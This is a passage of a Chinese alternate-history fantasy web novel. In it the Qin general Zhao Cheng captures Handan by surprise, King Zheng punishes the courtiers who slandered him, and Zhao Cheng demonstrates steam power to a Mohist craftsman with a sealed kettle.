偶尔传道授业解惑,倒也比在故韩之时,要多些乐趣。
他这边夜夜歌舞,秦赵边境,却还在征战不休。
双方角力,你来我往,一时间互相奈何不得。
蒙武很愁,“唉,若非阿诚被大王弃用,此战怎会如此艰难。”
“我去的密信,大王也不理。”
“大王可给你回信了?”
王翦也很愁,“大王也没理我,这李牧实在稳如磐石,防守滴水不漏,正奇相辅,实是一代名将,大王若不任用此离间之计,此战恐怕还要拉锯许久。”
“不知何时才能灭赵啊。”
蒙武摇了摇头,看了看案头上面的一封军报。
“李信此去,实在有些冒进,若是被李牧提前识破,恐怕有身陷敌后之危。”
“也不知道现在如何了。”
第145章 满朝攻讦,赵诚军报,邯郸克复!
数百里之外,断裂的兵器,被鲜血浸泡着的残肢零落在城头和城下。
残阳映照在断成两截的箭矢上面,落下斜斜的支影。
“这座城竟是李牧设下的饵,何其狡诈!”
李信站在城头悲凉长叹,举目四望,部下无多。
而就算是这些仅存的部下,现在也都是身上带伤,兵器卷刃,战力大减。
再看城外,还有着茫茫多的赵国精锐合围而来。
这是李牧派来的赵国边军精锐,其军容整齐,气势如虹,如同巨兽张开了血盆大口,正要吞下城头上面的残军。
此前李牧故意在李信这一方向露出破绽,让他误以为此城容易攻破,可截断李牧后路。
却不知,李牧竟然将这一整座城当做诱饵,任由其攻入其中,而后再以伏兵围困。
为的,就是彻底吞掉他这一部,再集结力量,对付蒙武一部。
李信心头有些绝望,如今他深入敌后,虽然成功占领了这座城,却也再无退路。
以现在的兵力来说,恐怕支撑不了多久了。
而这个位置,蒙武和王翦也都无法支援赶来。
“援军三日便到,死守此城!”
叹息之间,李信突然双目圆睁,精神如虎爆喝下令。
其部下顿时精神一震,打起精神,准备继续应战。
没办法,如果不如此欺骗,他们这一部恐怕支撑不过一天了。
李信只能假装援军三日便至,能撑一天是一天,尽可能消耗敌军的兵力,也算是死前为国多做一些贡献了。
……
攻赵战事焦灼,军报频传。
章台宫大殿之上,嬴政拿着王翦和蒙武的军报询问百官。
“赵国上将军李牧,领赵国边军抵御秦之锐士,上将军王翦蒙武皆言无法速胜,故而献上两策。”
“一者,暗中出使贿赂赵国重臣,施展反间计,使赵王弃用李牧,临阵换将,必能打败赵军。”
“二者,复用赵诚,以赵诚率领血衣军为锋,势如破竹,攻下邯郸。”
“诸卿以为何?”
前线战事焦灼之事,诸臣都有所耳闻。
那李牧毕竟是赵国名将,多年来如同一座屹立不倒的大山,为赵国抵御了许多次秦国的攻伐,防守如此稳固,众人都是有所预料。
闻听嬴政所言,昌平君一部楚系官员面面相觑。
他们听出了嬴政有要再次启用赵诚之心,心中顿时升起了几分警惕。
当下立刻有楚系官员站出来说道,“王翦将军这反间计甚妙,李牧此人手握重兵,功高盖主,早就为那赵王所忌惮了。”
“若是能够拉拢赵国重臣,对赵王进献谗言,以赵王迁之狭隘心胸,定然会忌惮不已,临阵换将也是极为可能的。”
“至于复用赵诚,臣以为不妥,叛国之事还未曾查清,此时启用,万一赵诚率领血衣军倒戈,岂不是正中赵国下怀?”
“臣亦赞同王翦将军之策,至于蒙武将军之策,恐怕是因为他与赵诚交好,想要借机徇私,复用赵诚。”
“更有甚者,蒙武将军可能会为了陛下能够复用赵诚,而消极怠工,故意在战场之上频频受挫,以我大秦将士之性命换取复用赵诚之机,其心可诛,请陛下彻查蒙武!”
“臣附议……”
嬴政听着面色不变,心中却是涌起杀意来。
这楚系官员真是越来越肆无忌惮,诬陷赵诚还不算,还想要牵连蒙武!
若非他早知道内情,真被这些人欺骗了,岂不是要酿成大错。
疑人不用,用人不疑,尤其是在这种前线征战的时候,若是嬴政因为这些人的怀疑去怀疑调查蒙武,必使将士心寒。
前线士气恐怕会一落千丈。
届时战事岂会有大胜之理?
昨夜他已经接到赵诚密报,血衣军已经渡过漳水,直逼邯郸。
要不了多久,邯郸就能够攻破。
此时询问王翦和蒙武的两策,不过是试探这些官员罢了。
见嬴政沉默,面无表情。
昌平君心说必须断绝赵诚复起的可能,于是越众而出。
“陛下,臣亦认为王翦将军之策
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甚妙,而蒙武将军所言不妥。”
“近日以来,多闻颍川郡风议,前大将军赵诚,日以继夜饮醇酒、狎倡优,府中管弦不绝,郡县事务尽抛脑后。”
“臣初闻之,亦曾谓其“困厄而自弃”,然细思极恐,赵诚起于行伍,杀伐而至上将军,爵至大良造,性刚猛如烈火,昔年攻韩时,锐意何坚?”
“岂会因一贬而沦为酒囊饭袋?”
“结合密信谋叛一事,臣顿时心惊肉跳。”
“颍川者,韩之旧都所在,韩民未附,遗臣潜藏,本是心腹之患。赵诚虽未久掌兵权,但其在军中威望如山,三军上下,无不对其敬仰至极。”
“今其“沉湎酒色”,恐非真颓唐,而是以醉态掩其野心。”
“日后或暗联韩之残孽,谋复故国;或结纳军中私党,待时而动。昔日白起功高,秦昭襄王犹虑其为乱,终除之而安社稷。”
“今赵诚之威望,远胜白起之于昭襄王时,颍川之险,更甚邯郸之侧。”
“莫说复用赵诚攻赵,即使是任由他这样下去,依然危机暗藏。”
“若其一旦幡然,振臂一呼,颍川必乱,韩地旧民响应,军中旧部动摇,六国余孽乘势而起,则陛下灭韩之功毁于一旦,关东大局危在旦夕!”
“所谓斩草须除根,赵诚今日之“自弃”,未尝不是他日反噬之伏笔。”
“臣非因私怨攻讦,实乃为大秦社稷计。愿陛下察其伪态,断其隐患,速下决断。”
“或可征其回京,明正典刑。或密令颍川郡守,除其羽翼,绝其生机。唯有如此,方能永绝韩地之患,震慑军中,使六国知陛下威不可犯,天下早日归心。”
如此狠绝的诛心之言,让嬴政都是眉头微皱。
而这时,昌平君身后的楚系诸臣却是接连附议。
一时间,请陛下永绝后患的声音络绎不绝。
就在这时,殿外脚步声匆匆而至。
郎中令捧着军报疾奔而来,“陛下,陛下!”
“前线将军赵诚军报,邯……邯郸克复!”
第146章 剖心肝以明忠,沥鲜血以谢恩!
“赵诚军报,邯郸克复!”
郎中令的脸上满是不可思议,混杂着惊喜和不敢置信,手都在颤抖。
而这道声音,更是如雷霆一般,响彻在大殿之上,将所有攻讦赵诚的谏言全部荡尽,只剩下无尽的沉默与安静。
所有大臣愕然回头看着郎中令手中的军报,大脑都好像宕机了一般,一个个双目睁的老大,似乎还没有反应过来。
昌平君更是如遭雷击,整个人呆立在大殿之上,怔怔看了郎中令半晌。
“郎中令,你说这是谁的军报?”
郎中令指了指军报上面的赵诚爵印,“上将军赵诚之军报!”
“邯郸!邯郸克复!”
昌平君再次浑身一震,上前几步将军报接在手中,那赵诚的爵印是如此的刺眼。
而邯郸二字更是如同晴空霹雳一般,让他措手不及。
怎会如此!?
那赵诚不是在颍川郡做郡尉,每日喝酒取乐吗?
怎么会突然出现在邯郸,还将邯郸拿下?
这……他何时出兵的,我怎么不知道?
短暂的震惊失声之后,大殿之上哗然四起。
“邯郸克复!?”
“赵诚将军什么时候出兵的,他不是在颍川郡做郡尉吗?”
“相国刚刚还说他每日饮酒取乐,连府邸都不出,根本不理事务,自暴自弃,怎么会突然出现在邯郸,还占领了邯郸。”
“这是什么速度,王翦将军那边才刚刚打了几场仗,赵诚将军这边已经克复了赵国国都?”
“到底是什么时候开始的,吾等竟然一点消息都不知道。”
“吾前几日还听到上林苑练兵的声音,还以为血衣军依然在上林苑,难道是天兵不成,如此短的时间,就已经抵达邯郸了?”
“颍川郡到邯郸,亦有数百里之遥,赵将军出兵,恐怕是多日之前的事情了。”
“这……难道赵将军与陛下早有谋划,被贬之事,不过是将计就计,欺骗敌国的障眼法?”
“嘶……”
诸臣细思极恐。
之前攻讦赵诚的大臣们一个个头皮发麻,不敢抬头去看嬴政。
而没有擅自站队,甚至还曾帮赵诚说话的大臣则是暗自庆幸,高高昂起了头颅,睥睨群臣。
昌平君看着军报上的赫赫军功,脑中好似有无数雷霆噼啪炸响。
他心中突然惊醒恍然,不敢置信地看向嬴政,却见嬴政依然是面色如常,显然早有预料。
完了!
此事,当真从头到尾都是大王和赵诚的合谋!
敌国也好,他们这些大臣也好,全都被蒙在鼓里。
赵诚始终都在受到重用,陛下从未真正怀疑过他!
就在王翦蒙武前线拉锯战的时候,此人已经率领血衣军直捣黄龙,奇袭邯郸,占领赵国国都了。
而他们这些人,在赵诚占领邯郸之际,却还在危言耸听。
这特么,不是找死吗?
昌平君捧着军报,当机立断,扑通一声跪在地上,额头触地。
“陛下,臣罪该万死!”
“臣实在昏聩,竟然被敌国离间计蒙蔽,误判忠良为奸佞,实乃肉眼凡胎、心盲如瞽!”
“赵将军贬居颍川,原是陛下与将军演的一出绝妙棋局。”
“以贬斥掩其锋芒,以醉态藏其锐志,实则暗携锐旅,直捣邯郸!
此等声东击西、出其不意之策,非陛下天纵圣明不能谋,非赵将军雄才大略不能成!”
“赵将军真乃绝世猛将,前线战事还在焦灼之际,已然悄无声息直捣黄龙,在如此短的时间里面轻取赵都邯郸,当真是秦之利刃,无双国士!”
他膝行两步,额头触地,“邯郸既破,赵国根基已断,天下震动,此功盖过破韩十倍!”
“赵将军忍辱负重,甘受“沉湎酒色”之名,只为一朝破壁!
此等忠肝义胆,臣竟视之为狼子野心,是臣披阅史书而不明“良将藏器”之理,是臣食秦俸禄而不识“社稷柱石”之贤!”
“臣方才妄言“斩尽杀绝”,实乃猪油蒙心、鬼迷心窍!
若非陛下圣明不罪,臣今日之言,险些寒了天下将士之心
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!
臣愿领“妄议功臣、惑乱朝堂”之罪,恳请陛下将臣下狱,剖臣心肝以明赵将军之忠,沥臣鲜血以谢陛下不杀之恩!”
嬴政眉峰一挑,“卿有此心,真是善莫大焉,寡人也不好辜负此心,便如卿所说,剖心肝以明忠,沥鲜血以谢恩吧。”
话音未落,昌平君已是脸色大变。
我话还没说完啊!
怎么就直接让我剖心沥血了!?
而楚系官员则是接连跪地,“陛下息怒啊,昌平君只是心向大秦,并无陷害忠良之心啊!”
“陛下,昌平君虽有失言,然其心可昭日月!”
“今日朝堂之上,其言虽过激,实因忧惧赵将军或有不测之变,恐伤大秦根基,所谓“爱之深则虑之切”,纵是错判,亦是为社稷计,非为私怨也!”
“陛下,方才赵将军破邯郸之捷报传来,相国当即叩首请罪,直言“罪该万死”,可见其知错即改,毫无狡辩之心。
此等坦直,恰是忠臣本色!
若因一言之失便施“剖心沥血”之刑,恐令天下臣子寒心,他日谁还敢直言进谏?谁还敢为国分忧?”
一旁的李斯见状,心说这机会不就来了吗?
当即上前一步,也是求情道,“陛下,赵将军新破邯郸,赵国未平,赵地千里亦需重臣镇抚。
昌平君久掌政务,不如赦其死罪,罚其俸三年、削爵一级,令其亲赴邯郸向赵将军负荆请罪,既全其改过之心,亦显陛下“罚过而不诛贤”之仁。
更能令赵将军见陛下宽宥之量,愈发尽心报国。”
昌平君心中一沉,好你个李斯,表面求情,实则求陛下贬我!
真是其心可诛。
如今他攻讦赵诚的言论虽然有些过,但也并非全无道理,此时可大可小,就算大,也不可能按照这妄议之罪,直接处死他。
而经过他刚刚的认错,还有楚系官员们的求情,这事情本来可以变得越来越小,如今被李斯这么一搞,不但要负荆请罪,可能还会丢了相国的位置。
这可麻了。
第147章 邯郸三百余年,一朝倾颓,此功盖世!
诸臣你一言我一语,搭出了数千级台阶,让嬴政下。
而昌平君则是连忙以头抢地,“唯愿陛下念臣虽愚钝,却始终心向大秦,容臣戴罪立功。
或遣臣往邯郸犒军,为赵将军执鞭坠镫;或罚臣入颍川查勘,昭告天下赵将军“自弃”实为奇谋。
臣若有半分私心,甘受车裂之刑!”
嬴**视着殿下的昌平君。
昌平君虽为楚国王族,但自幼在秦长大,长期为秦效力,曾参与平定嫪毐之乱,因功获重用。
多年来也算是立功无数,作为丞相算得上是合格的。
虽然有心要削弱楚系势力,但昌平君攻讦赵诚一事,有那敌国密信在先,真细究起来,最多算是受到敌国蒙蔽,算不上什么重罪,直接以此处死他是不现实的。
不合律令不说,殿下的这些官员也不会答应。
不过他既然自己凑上来,不砍一刀也是辜负了他的一片心意。
于是嬴政说道,“既如此,便封尔为邯郸守,即赴邯郸,向赵诚负荆请罪,以明心迹,以证其忠。”
“且尔与方才劾奏赵诚之诸臣,悉迁赵地,领新略赵土吏治。”
听到这话,昌平君当时就是脸色一白。
这不但贬去了他的相国职位,更是让他去邯郸向赵诚负荆请罪。
那邯郸是什么地方?
是赵诚刚刚打下来的克复之地。
克复是什么意思?
就是原本的王室和贵族全部被赵诚俘虏了,整个地盘现在都属于是赵诚的!
去那向赵诚负荆请罪,直接被赵诚杀了他都没什么办法?
而刚刚立了功的赵诚,恐怕也不会真的因为杀了他而被治重罪。
这处置,简直就是让他死啊。
昌平君连忙再次磕头,“陛下,吾虽妄议良将,但是忠心可鉴啊陛下。”
“且邯郸虽然克复,但王翦将军和蒙武将军那里战事还在拉锯,不若等赵地尽复,吾再给陛下择选良臣治理邯郸如何?”
他认为,嬴政现在不过是在气头之上,只要拖一拖时间,自己再想办法周旋一下,肯定不至于处罚这么严重。
然而嬴政心意已决,大手一挥,“无妨,你可率领众官员从颍川郡上任邯郸,刚刚你不是说,要入颍川查勘,昭告天下赵将军自弃实为奇谋吗。”
“正好一并做了吧。”
昌平君虽然面露不甘,但还是顿首而拜,“臣虽愚钝,为奸人密信所惑,劾奏赵诚实属失察,罪该万死!
大王不诛臣身,反委以邯郸守之任,令臣戴罪治赵,此乃天恩浩荡,臣敢不肝脑涂地!”
“然臣与诸僚久侍秦廷,虽为楚裔,实以秦为宗。
赵地新破,民心未附,臣等既蒙驱遣,自当竭力镇抚,以报大王。
唯求大王念诸臣素日微功,允臣等携亲眷同行。
非为私念,盖赵地多旧族,臣等举家赴任,更显无贰之心,亦令赵人知秦臣守土之坚也。”
众官员也是面露不甘之色,他们好不容易才爬到这个位置,紧跟昌平君,俨然已经成了这朝堂之上具有不俗话语权的一方势力。
结果不过是猜测那赵诚有叛国之嫌,就被贬作地方官,心里自然愤懑起来。
但眼看昌平君都已经不再辩驳,而是以退为进,顿时明白其意,便都接连道,“臣等误信敌书,已犯不赦之过,大王不加斧钺,反授守土之责,此乃再生之德!
赵土虽险,臣等愿以颈血明志:必整饬吏治,辑安流民,使赵地尽入王化。
若有差池,甘受车裂之刑!
唯求大王垂鉴臣等惶恐之心,许以便宜行事之权,以便速定赵局,不负王命。”
他们是见到嬴政心意已决,于是以认罪为先,先承认被蒙蔽之过,将责任完全推给敌国密信,弱化了自身的恶意。
若是按照秦律之中来算,这该过失从轻。
而后他们又感恩戴德,强调嬴政“不杀反用”是“天恩”,既表忠诚,又暗示若处置过苛则显君王无容人之量。
最后,不说“不愿去”,反说“愿赴任”,但以“携家眷”“请权柄”为由,既给嬴政台阶,又为自身留后路。
携家可防猜忌,得权
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可便行事
如此,就算此事没有了回旋余地,至少在这惩罚的规则之内,他们将利益最大化了。
对此,嬴政倒是不以为意,挥了挥手,“准了。”
“即刻命诸臣协理,接手未处理的事务。”
“廷尉李斯,代掌相国一职。”
“臣,谢陛下。”
“宣读赵诚军报。”
因为之前昌平君的失态,嬴政到现在还没亲眼看到这份记载着赫赫军功的军报。
如今刚刚狠狠砍了昌平君一刀,心情正是不错的时候,便让李斯当着大殿文武百官的面,宣读军报。
李斯答应一声,接过军报,而后当众宣读起来。
“大王陛下:
臣赵诚,率血衣军二万,承王命出颍川,潜师北进。
日夜兼程,穿魏境而入,两日破邺县,斩赵守将一人,斩甲士五万余,获粮秣万石,漳水之险为我所用;
又一日,连破两城,直抵邯郸城下,墨家以机关城协防,赵人恃机巧拒守,臣毁其机括,破城而取,俘获墨家渠帅数百人,降其卫卒四万余;
赵人无险可恃,血衣军长驱而入,俘获赵王及后妃、宗室七十有二,得府库珍宝、舆图户籍若干。
邯郸四郊皆平,赵地核心尽入王土。
臣现屯兵邯郸,谨待王命。
血衣军将士用命,不敢自矜,唯盼陛下威加海内。
臣赵诚顿首。”
此时此刻,众大臣才得知战事细节。
不由得纷纷惊叹起来。
“二万之师,竟能越颍川、破邺县、渡漳水,直捣邯郸……赵诚用兵,真如惊雷破地!”
“听闻墨家机关城号称‘百万师而不可陷’,昔年赵武灵王攻三月而不能下,今竟为血衣军一日所破——此非唯勇力,实乃奇谋冠绝当世也!”
有白首老将叹道,“老臣随昭襄王伐赵,尝困于阏与,折损锐士五万,今赵诚以偏师横扫赵地,俘其王、定其都,竟比当年武安君,破长平更速!
赵国经营邯郸三百余年,一朝倾颓,血衣军之功,当载于秦史首卷!”
第148章 封爵大庶长!隐秘大道蒸汽机!
亦有知情将领分析起来,“颍川至邯郸千里之遥,孤军深入而粮道不断,此为一奇;
邺县乃邯郸南大门,依险而守,赵人屯兵五万,竟被一战而下,此为二奇;
墨家机关城靠机括防城,非人力可破,赵诚能轻取其机关城,此为三奇!
三奇归一,此等战局,纵是孙吴再生,亦不过如此!”
御史大夫则是说道,“按秦律,破城者计首功,俘王及宗室者,功在‘灭国’之列。
赵诚此战,斩将十数,俘王七十余,得邯郸全郡舆图户籍!
此功已超‘上造’至‘大良造’之常规晋爵,若**行赏,恐需破例啊!”
又有年轻郎官热血沸腾,极为激动道,“血衣军不过二万!却如此锐不可当,直取邯郸!”
“墨家那些机关城、连**车,往日只闻其名,今日竟被一朝破之——赵将军真乃天人!
他日北上击燕、南下伐楚,若有血衣军为锋,何愁六国不平!”
看着大殿之下众大臣的惊叹,嬴政的嘴角都有些压不住了。
“赵诚乃我秦之利刃乎?”
“自是秦之利刃!”
“赵诚乃我秦之国柱乎?”
“确是秦之国柱!”
“赵诚乃叛国逆贼乎?”
“确……绝非叛国逆贼!其为忠国忠君的绝世良将啊!”
一群大臣脑袋摇的像是拨浪鼓一样。
嬴政满意点头,“三日之后,寡人将亲赴邯郸,巡视故赵之地!”
“在哪之前,相国,御史大夫,要依据秦制上计,核对战功。”
“寡人会在邯郸为赵卿封爵,以彰显王权,威慑遗民,激励军心!”
“要赵人知晓,秦灭赵,乃天定!”
“唯!”
众大臣都知道嬴政年幼时曾在赵国长大,其中恩怨,他们可不敢掺和。
至于大王的安全问题……
开玩笑,那里有赵诚,还有血衣军,谁还能对大王做什么?
“陛下,王翦将军那边,还在与李牧死战,是否要血衣军前去支援?”
“赵王都已经被俘,他也顽抗不了多久了,暂时不用血衣军支援,稳占邯郸,待封爵之后,再论其他。”
李牧的防守,向来密不透风,非常稳固。
而且,其奇谋频出,若是赵诚贸然前去支援,恐怕会被他回抄后路,夺回邯郸,届时才是麻烦。
李斯与御史大夫等人紧锣密鼓地核对军功。
其实也没什么好核对的,此战军功数目极为简单,血衣军根本没有折损多少,而攻城略地杀敌更是数目清晰至极。
上面写得清清楚楚,邺县守将五万,俘获两千,那就是斩了四万八。
其他两城,甚至包括邯郸在内,都是尽斩尽俘。
至于俘获的王室贵族,也都记录清晰。
于是一个时辰之后,在大殿之上,李斯就核对好了军功。
“陛下,此功在‘灭国’之列,超越大良造晋爵之规,可封驷车庶长!”
嬴政思索片刻,不是很满意,“灭赵之功,不同与灭韩,不仅仅是灭国拓土之功,意义非凡,当再破格一级,封其大庶长之爵!食邑两万户!”
此话一出,众人皆惊。
在这个时候,大良造便已经是依靠军功能够获得的最高爵位了。
而驷车庶长更是曾经专职处理王族事务的爵位,此爵不是王室贵族,是不能够获得的。
若非赵诚此次军功太大,李斯都不敢提出封爵驷车庶长之事。
但没想到,提出来之后,嬴政不但没有反对,甚至还主动给破格提了一级!
可见其对赵诚之重视,对赵国之愤恨。
百官面面相觑,都是从心中重新评估赵诚的潜力。
这已经不是一方巨擘可以概括的了,满朝上下,就算算上王翦蒙武等人,赵诚这等殊荣,这等爵位,那也是蝎子粑粑独一份!
而如今灭赵之后,赵诚已经是大庶长之爵,未来若是灭魏,灭楚,甚至灭燕,灭齐呢?
这大庶长之后,可就是关内侯了!
再之后,可就是彻侯了。
不算王室没有太多实权的那些人,赵诚如今已经是社会阶层最高的一位。
而未来还会更高,凌驾所有人之上。
关键是,这家伙是有实权的啊。
他不但个人武力高,其手握的血衣军武力也极高,更是军功赫赫。
这样一个人,大王如此封爵,真就不怕功高盖主吗?<
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br>真就如此信任吗?
还是说,将其捧得高高的,志气愈狂,错漏百出,而后……
众大臣心惊之余,各自心念急转,思索嬴政对于赵诚的真正态度,以及未来自己应该用什么态度面对赵诚。
但嬴政的心事,他们哪里看得透。
不由得都是百思不得其解,各自回家头疼去了。
而李斯则是连夜制定赵诚的赐爵令,以及爵府随印种种封爵之物。
……
另一边,赵诚呆在邯郸王宫之中,每日除了和姬雪儿探讨人生之外,就是只会墨家子弟按照他的想法造些机巧物件。
首先是马鞍,这个时代还没有诞生马鞍这种东西。
没有马鞍,冲锋骑射杀敌的难度就会无上限的拔高,没有点实力的人,上马都难,更别说骑马了。
所以,骑术的含金量才如此之高。
而有了马鞍就不同了,就算是寻常的材官,也能够轻而易举的骑马冲锋,到时候在大秦组建一只铁骑,足以扫荡全球!
而马鞍这种东西对于墨家子弟来说,并不算什么复杂的东西。
没用几天,就造出了一大批,被赵诚应用在血衣军的骑兵上面。
如此一来血衣军的奔袭速度更上一层。
此后,赵诚又按照自己的想法,让墨家子弟制造各种机巧之物。
墨家子弟本来就坚守兼爱非攻的理念,如今被迫为血屠做事,那是怨气朝天。
禽滑厘对此也是异常无奈,他隐隐觉得,赵诚之前所说的蒸汽机三个字之中,有隐秘大道。
为了得到这隐秘大道,他对赵诚那是言听计从,赵诚不管提出什么稀奇古怪的玩意,他都依照赵诚的想法制作。
一来二去,他发现,赵诚此人不光战力超凡,思路想法更是奇绝难测。
那些奇奇怪怪的东西,听起来好似毫无用处,但是造出来之后,才知道那些东西应用之妙!
导致他对于蒸汽机更是好奇,接连数日,大着胆子追问赵诚。
赵诚才终于开了金口。
“这蒸汽机啊……”
这一开口,把禽滑厘激动得不行,差点流出眼泪来。
这暗无天日的日子,终于是要见到曙光了。
第149章 用水壶给墨家亿点小小的震撼!
“这蒸汽机啊……”
赵诚将前几日刚刚让禽滑厘打造出来的铁水壶放在火炉之上,而后闭目养神起来。
禽滑厘小本本都掏出来了,沾好了墨都准备记录了,一抬头却看到赵诚又开始闭目养神,顿时差点一口老血喷出来。
你倒是说啊!
急**了!
他的目光落在那水壶之上,若有所思,但是不论怎么想,都好像隔了一层似的,想不到这水壶和能源之间,又有什么关联。
但他又不敢催,生怕赵诚一生气,今天就不开口了。
于是就这样等着,等着……
呜呜……
水壶的盖子突然颤动起来,一股股水蒸气蒸腾而起,将盖子顶得颤抖越发剧烈。
赵诚终于睁开眼来,看了看水壶说道,“这壶盖为何颤动啊?”
禽滑厘紧紧皱眉,他察觉到了这里面有什么隐秘的力量产生,但是却无法说出其中原理。
这个时代,根本没有能量、压力、热力学这种抽象概念。
蒸汽顶举这种现象,虽然能够直观地看到,但问到原理上面,就连墨家弟子,也是一片茫然。
但茫然之中,又引发了深深的思考。
这种思考,越想越是奇妙,里面好似有无穷道理。
但是又根本没有一个切入口,抓不到那一丝确定的东西,让禽滑厘一时间急得抓耳挠腮。
“壶盖是被水汽顶起来的,水汽即蒸汽,蒸汽有一股力量,但这股力量实在微弱,真能借此催动机关吗?”
赵诚说道,“热,可以生劲。”
“墨家所用的力,利用的是**机蓄力,亦或者是杠杆省力,归根结底,依然还是人力,或者是畜力,或者是水力风力,这等现有的力量。”
“而热力,是一种不需要人力畜力的新力。”
“是不需要借助,而可以随时创造出来的。”
创造力量……
禽滑厘好似有雷霆乍现在脑海之中,一瞬间想了无穷之多。
如果可以随时随地创造一股力量,而不需要催使人力或者畜力,亦或者是借助风力水力,那对于墨家来说,简直就是开天辟地一般的变革啊!
禽滑厘肃容以拜,“请先生教我,这该如何去做?”
赵诚说道,“你觉得蒸汽之力很小,那你将这壶盖按住,使其密不透风试试看。”
禽滑厘将信将疑,催使真元,将水壶完全封住。
他并没有使用很大的力量,只是一丝丝真元,将水壶随意的封了起来。
一开始,这蒸汽膨胀的力量还很小,让他不以为然。
然而随着时间的推移,壶盖之中的水汽越来越多,膨胀的力量也是越来越大,他渐渐地感觉到了一股对抗的力量,即将挣破他的真元封锁。
他眉头挑起,眸中闪烁着惊讶。
这小小的水壶,竟然能有这样一股力量?
然而这还不算,时间越是推移,他感到水壶之中挣破的力量越大。
渐渐地,他那一丝真元都开始有些不够用了,不得不继续增加真元,对水壶进行封锁。
这水壶是他亲手打造的,上面的材质,是千锤百炼的精钢,无比坚韧。
但是在他的压制和水汽的膨胀之下,这精钢竟然开始变形。
臌胀出了一个个包来。
而禽滑厘的面色逐渐从惊讶变成了震骇,他催动越来越多的真元来封锁这水壶,但这水壶爆发出来的力量也是越来越大。
他封锁的越多,其中挣出的力量,就越是狂暴。
这小小的水壶之中,如今就好似有一头上古凶兽在其中疯狂挣扎。
他甚至感觉是赵诚在从中作梗,暗中出手,在水壶之中动了什么手脚一般!
但是看向一旁,赵诚连动都没动,只是静静地坐在那里看着他,好像在看什么好戏一样。
赵诚也不是小看禽滑厘,而是蒸汽的力量,理论上来说,是能够达到几万吨巨力的。
只要材质足够坚固,而温度达到三四百度的情况下,几万吨巨力也根本不是极限。
这个时代,受限于材料强度,加工精度,以及高效鼓风等技术限制。
暂时还没有出现足够承受高温蒸汽膨胀的材质,但禽滑厘是高手,有真元可以代替精钢封锁。
这就提供了材质条件。
接下来
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只要再提升温度,别说禽滑厘在这里,就算他们祖师来了,恐怕也顶不住这股蒸汽。
眼看禽滑厘的脸色从震骇变作了狰狞,全力对抗蒸汽。
赵诚再次开口说道,“这还不算什么,不妨再用橐籥鼓风,加热一下炭火。”
禽滑厘心中不可思议,这股力量他全力以赴都有点顶不住了,还能更强?
他将信将疑地开始鼓风。
这一鼓风,炉中炭火顿时变得明亮起来。
真元封锁下的水壶已经破裂,几乎炸开,全靠真元强行压制。
但是这一加热,那一股蒸汽顶举之力顿时开始无限上升!
禽滑厘身体一震,真元竟然瞬间被蒸汽震散,整个人被轰的一声轰飞了出去,头昏脑涨地落在一旁,身上被蒸汽烫得片片发红。
他站起身来,难以置信地看着地上的水,全然不顾身上被烫的疼痛。
“怎么会这样,只是火和水放在一起,竟然有如此大的力量?”
“火是普通的火,并没有什么特殊,水亦是普通的水,却能有如此神力……”
“这是为何?”
“这究竟是为何?”
巨大的迷茫和困惑笼罩了他,但困惑之余,他又好像窥见了什么惊天秘密,迫不及待地想要知道真相,知道答案。
无穷无尽的求知欲,几乎摧毁了他的理智。
他朝着赵诚深深一拜,极为崇敬地请求道,“这究竟是什么原理,求先生教我!”
这一拜,比刚才可就诚恳多了。
赵诚问道,“此力如何?”
禽滑厘说道,“恐有数千石巨力!”
赵诚再问,“还能更高否?”
禽滑厘已经察觉其中部分原理,果断说道,“只要温度够高,密封材质足够坚韧,还能高上许多!”
赵诚摇头,“不止是许多,从理论上来说,温度越高,材质越强,则此力无穷尽也!”
此力无穷尽!
禽滑厘骇然失语。
在这三言两语之间,他看到了无穷广阔的世界,与之相比,他曾穷极半生深研的机关术,简直就像是过家家一般。
太小家子气了。
第150章 番吾绝境,实话实说的李信!
赵诚又问,“见识了此力,你觉得该如何运用此力呢?”
禽滑厘顿时低头沉思了起来,脑海之中,一生所学的机关术在不断地闪过。
最终,一个筒加塞的结构,出现在了他的脑海之中。
“如若用取水之竹筒那般,使其密不透风,让这股蒸汽在筒之中憋劲而后爆发,力量自然可用。”
“可竹筒必然不行,材质太脆弱,应该是用千锤百炼的精钢才行。”
“除此之外,这活塞也需要足够的精密,能够将这股蒸汽憋住,不然只会泄力……”
他好像得知了什么惊天秘诀,眼睛那是越来越亮,整个人亢奋得无法形容。
他豁然抬头,想要向赵诚描述自己的设想,印证一番,却发现赵诚已经站起身来,向着外面而去。
“先生,您去哪?”
赵诚挥了挥手,“我有要事去做,这段时间,你可以领着那些墨家子弟,研究一下这种铁筒活塞……”
他以占星术算到,北方战场上,李信身陷绝境,整部将危。
于是点齐了一万血衣军精锐,疾驰而出,直奔北方绝城!
当初李信毕竟主动来送过精锐,有此人情在先,不能见死不救。
更何况,此番奇袭邯郸,他也没杀多少人。
那敌军围困李信,全都是滚滚军功和寿命,岂有不去之理?
人多?
人多好啊!
他杀敌最爱的就是人多!
……
“将军!将军!急报……”
一名奔命士狂奔入帐,脸上带着惊恐和不可思议,跑得嘴角都泛起白沫,双眼猩红犹自不觉。
正在反复推演战局的李牧眉头一皱,心中有些不祥的预感,“发生何事?哪部战局失利,速速道来!”
这一瞬间,无数的战局和谋划闪过他的心中,不论是哪一部失利,都必须以最快的速度派兵,化劣势为优势。
如今赵国的条件很差,他必须殚精竭虑,锱铢必较,才能够稳住局面。
然而接下来奔命士说的话,让他如遭雷劈。
“是邯郸急报!邯郸被破,大王被俘了!!”
李牧呆立当场,睁大了双眸,如在梦中一般,脚下踩的地面都有点轻飘飘的。
又是无穷的战局和情报闪过脑海,这一次,却没有找到答案。
他想破了脑袋,也想不到,王翦和蒙武是如何越过了他,直抵邯郸的。
“怎会如此?是哪一部秦军?”
“是……血衣军!领军的是那血屠阎罗赵诚!”
李牧身子一晃,差点跌坐在椅子上。
千防万防,殚精竭虑,却忘了那血屠!
郭开那浑蛋不是说血屠已经自暴自弃了吗?
但他毕竟是身经百战的名将,只是一瞬间失神,就立刻重振旗鼓。
“公子嘉呢?”
“正在营中!”
“速速唤他过来!”
公子嘉,赵悼襄王之子,与赵王迁算是兄弟。
如今邯郸被破,王室尽数被俘,赵国核心权利阶层以及核心区域已经彻底糜烂。
但是北部地区还有他李牧,还有王室血脉。
只要他稳住阵脚,何愁赵国不复?
在手下去寻公子嘉的时候,他又果断下令。
“还有,调兵前往番吾,立刻吃掉李信一部,而后重兵镇守番吾!”
“调胡刀风骑协防番吾,用以对抗血衣军!”
“还有,你立刻带着此玉入太行山,寻高人逍遥子出山,以对抗那血屠!”
“唯!”
……
夜黑风高。
围城的大军好似无边无际的黑暗**,随时都将一扑而上,掀起腥风血雨,带走许多同袍的生命。
